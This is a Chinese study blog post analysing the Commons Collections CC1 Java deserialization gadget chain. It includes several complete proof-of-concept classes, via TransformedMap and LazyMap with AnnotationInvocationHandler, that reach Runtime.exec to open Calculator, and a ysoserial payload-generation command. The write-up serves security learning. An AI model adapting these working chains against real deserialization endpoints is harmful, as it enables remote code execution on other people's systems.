zoukankan      html  css  js  c++  java
  • Java cc1

     
    cc就是commons-collection(CC1只能在 jdk 8u71 之前的版本使用)
     
    好好的学习一下吧
     
    P神写的POC
     

    package Study;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.util.HashMap;
    import java.util.Map;
    
    public class Mikasa {
        public static void main(String[] args) {
            Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
            };
            Transformer transformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
            outerMap.put("test","xxxx");
        }
    }
    

     

     
    cc1有两种链,这里面一一分析一下
     

    过程涉及的关键接口与类

     
    ysoserial给的链

        Gadget chain:
            ObjectInputStream.readObject()
                AnnotationInvocationHandler.readObject()
                    Map(Proxy).entrySet()
                        AnnotationInvocationHandler.invoke()
                            LazyMap.get()
                                ChainedTransformer.transform()
                                    ConstantTransformer.transform()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Class.getMethod()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Runtime.getRuntime()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Runtime.exec()
    

     
    下部分其实跟p神的poc是一样的,只是入口点不同
     

    Transformer

     
    Transformer 是一个接口,他只有一个待实现的方法
     

     
    有一些类会实现这个接口,后面涉及一些敏感的类会用到
     

    ConstantTransformer

     
    ConstantTransformer 是实现了 Transformer 接口的一个类,他的过程就是在构造函数的时候传入一个对象,并在 transform 方法将这个对象在返回
     

     
    后面我们会用到它作为调用链的开端
     

    InvokerTransformer

     
    InvokerTransformer 也是实现了 Transformer 接口的一个类,这个类可以用来执行任意方法,这也是反序列化能还行任意代码的关键
     
    在实例化这个 InvokerTransformer 的时候 , 需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数就是传给这个函数的函数列表
     

     

     
    后面的回调 transform 方法,就是执行了 input 对象的 iMethodName 方法
     
    写个Demo试试
     

    package Study;
    
    import org.apache.commons.collections.functors.InvokerTransformer;
    
    public class Demo1 {
        public static void main(String[] args) {
            InvokerTransformer test = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"});
            Object cmd = java.lang.Runtime.getRuntime();
            test.transform(cmd);
        }
    }
    

     

     
    为什么呢,我们手动调试一下,首先是 InvokerTransformer 的初始化
     

     
    之后通过 java.lang.Runtime.getRuntime() 获得 Runtime 实例,为什么这样获取,其实是因为Runtime的构造方法是私有的,我们可以通过 getRuntime 方法获取,或者反射获取
     

     
    之后传入 InvokerTransformer.transform 中,我们跟进去看看
     

     
    那么就直接执行我们的命令,当然这只能算是个小的Demo,毕竟还要经过反序列化(Runtime不可以被序列化,需要反射调用),还有就是反序列化的入口也没有点出,我们这只能算是木马,非远程RCE
     

    ChainedTransformer

     
    ChainedTransformer 也是实现了 transformer 接口的一个类,他的作用是将内部的

    多个 Transformer 串在一起(就是前一个回调返回的结果,作为后一个回调的参数传入)
     

     

     
    向我们刚才说的,我们不可以直接通过 java.lang.Runtime 获取到 Runtime 实例,那么我们可以利用 ChainedTransformer 来达到我们的目的
     
    Demo2
     

    package Study;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    public class Demo2 {
        public static void main(String[] args) {
            Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
            };
            Transformer transformer23 = new ChainedTransformer(transformers);
            transformer23.transform(new Object());
        }
    }
    
    

     

     
    调用链为 ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")
     
    流程有点复杂,我也有一点问题不太懂,这里面就简单说一下我的了解吧
     ;
    首先是 ConstantTransformer 的初始化
     

     
    然后 InvokerTransformer 的循环链
     

     
    然后就是用 ChainedTransformer 将他们串联起来
     

     
    其实就是 cc1 链的下半部分
     

     
    其他的就是只有前半部分的不同
     

    TransformedMap

     
    TransformedMap 用于对Java标准数据接口Map做一个修饰,被修饰过的Map在添加新的元素时,将可以执行一个回调,我们通过下面这段代码对 innerMap 进行修饰,传出的 outerMap 即是修饰后的 Map
     

    Map outerMap = TransformedMap.decorate(innerMap,keyTransformer,transformer,valueTransformer);
    

     

     
    初始化 keyTransformer 以及 valueTransformer
     

     
    然后调用 TransformedMap.put
     

     
    其中 key 以及 value都可以调用到 transformValue
     
    其中, keyTransformer 是处理新元素的Key的回调, valueTransformer 是处理新元素的 value的回调。我们这里所说的 "回调",并不是传统意义上的一个回调函数,而是一个实现了 Transformer 接口的类
     
     

    sun.reflect.annotation.AnnotationInvocationHandler

     
    当然,我们前面都是自己本地测试的,没有什么实际意义,因为我们需要经过反序列化才能实现RCE,而我们前面需要的是 put 操作才可以调用到 transform ,那有没有一个类在反序列化 readObject 的时候可以跳转到 transform 呢,这里面师傅们找到了 AnnotationInvocationHandler
     
    这个类在 readObject 的时候有类似于写入的操作,因此我们可以用它够着POC链子
     

     
    memberValues 就是我们序列化后的Map,也是经过了 TransformedMap 修饰的对象,在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码。
     
    Runtime 一样的是,他也需要反射去调用,因为他的构造方法是私有的
     

     
    写个POC
     

    package Study;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    public class Cc1Poc {
        public static void main(String[] args) throws  Exception{
          Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
            };
            Transformer transformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
    
            innerMap.put("value", "xxxx");
            Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
    
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
            constructor.setAccessible(true);
            Object obj =constructor.newInstance(Retention.class,outerMap);
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream  oos = new ObjectOutputStream(barr);
            oos.writeObject(obj);
            oos.close();
    
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
        }
    }
    

     

     
    流程有点复杂,讲不好,先放这边
     
     

    理解demo

     
    跟着调试了一遍,然后发现0.0,调用链真的长,吐了
     

    Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
            };
    Transformer transformer = new ChainedTransformer(transformers);
    

     
    这两个是设置调用链的
     
    先是 ConstantTransformer 返回 Runtime 对象

    后来是 InvokerTransformer 先获取调用的方法,参数,在利用反射调用函数
     

     
    最后是怎么触发回调呢
     

    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
    outerMap.put("test","xxxx");
    

     
    最后的 put 方法可以调用回调
     

     
    因为我们 keyTransformer 传的是null,因此我们跟进 transformValue
     

     
    而这个 valueTransformer 一个 Transformer 的值

     
    我们最开始使用 TransformedMap.decorate 的时候已经被初始化了
     

     
    跟进 TransformedMap
     

     
    在回头看看我们传的参数
     

     
    因此会造成回调
     

     
    valueTransformerChainedTransformer 类型的,看一下他的 transform 方法
     

     
    跟前面又联系了起来
     
    其实理解了前面的工作原理,这个Demo就很好理解了
     

    测试一下

     
    P神也说了,真正的demo离POC也很远的
     
    上面我们分析到,要想触发这个反序列化的话需要执行 outerMap.put("xx","xxx"); 来触发漏洞,但是在实际反序列化时,我们需要找一个类,它在反序列化的 readObject 逻辑里有类似的写入操作(这里面大佬们找到了 AnnotationInvocationHandler,当然这种方法在 8u71 以前还是可以使用的,但是现在就不行了,官方那边做了修改)
     
    给出P神的例子
     

    package Study;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    import java.lang.reflect.InvocationHandler;
    
    public class Cc1Poc {
        public static void main(String[] args) throws  Exception{
            Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
            };
            Transformer transformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
    
            innerMap.put("value", "xxxx");
            Map outerMap = TransformedMap.decorate(innerMap,null,transformer);
    
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
            constructor.setAccessible(true);
            Object obj =constructor.newInstance(Retention.class,outerMap);
    
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream  oos = new ObjectOutputStream(barr);
            oos.writeObject(obj);
            oos.close();
    
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
            //outerMap.put("test","xxxx");
        }
    }
    

     
    我们测试一下
     

    分析一下yso里面cc1的利用

     
    我们先测试一下 yso 里面的调用
     

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  CommonsCollections1  "/Applications/Calculator.app/Contents/MacOS/Calculator" > test.txt
    

     
    然后写一个加载Demo
     
    public class test {
    public static void main(String[] args) throws Exception{
    ObjectInputStream test = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
    Object obj = test.readObject();
    }
    }
     

     

     
     

    首先进入 lazyMap 类看看,因为这个类是起点
     

     
    查看其 get 方法,发先调用了 transform 方法(当中不到key值的时候),因此需要找到一个 readObject 能跳转到这个地方的类
     
    cc1中同样使用的是 AnnotationInvocationHandler
     

     
    发现其实现了 InvocationHandler, Serializable 说明是个动态类,并且可以被序列化,并且在其 invoke 方法中调用了 get 方法
     
    查看 invoke 方法
     

     
    确实调用了 get 方法,因此只要将此类用来代理 LazyMap 的话(实现了InvocationHandler,因此就可以作为代理类),那么无论调用什么方法都可以调用到 get
     
    而在 readObject 里面确实也调用了这个
     
    因为 AnnotationInvocationHandler 的构造方法是私有的,因此我们也要使用反射调用它(又要套娃)
     

     
    POC
     

    package Study;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;
    public class Demo4 {
        public static void main(String[] args) throws Exception{
            Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}),
            };
            Transformer transformerChain = new
                ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, transformerChain);
            Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
            Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                    handler);
            handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream  oos = new ObjectOutputStream(barr);
            oos.writeObject(handler);
            oos.close();
            System.out.println(barr);
            ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
            Object o = (Object)ois.readObject();
    
        }
    }
    

     

     
    过程有点复杂,这里不分析了(其实是不会)
     

    参考

     
    p神文章

    https://www.smi1e.top/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%ad%a6%e4%b9%a0%e4%b9%8bapache-commons-collections/

  • 相关阅读:
    DOS命令
    利用cmd合并文件
    Word文档编辑
    初识Java
    变量、数据类型、运算符-2
    设计模式之策略模式
    设计模式之装饰者模式
    第18章 java I/O系统(3)
    第18章 java I/O系统(2)
    第四章 栈与队列3 (堆栈的应用)
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/Java-cc1.html
Copyright © 2011-2022 走看看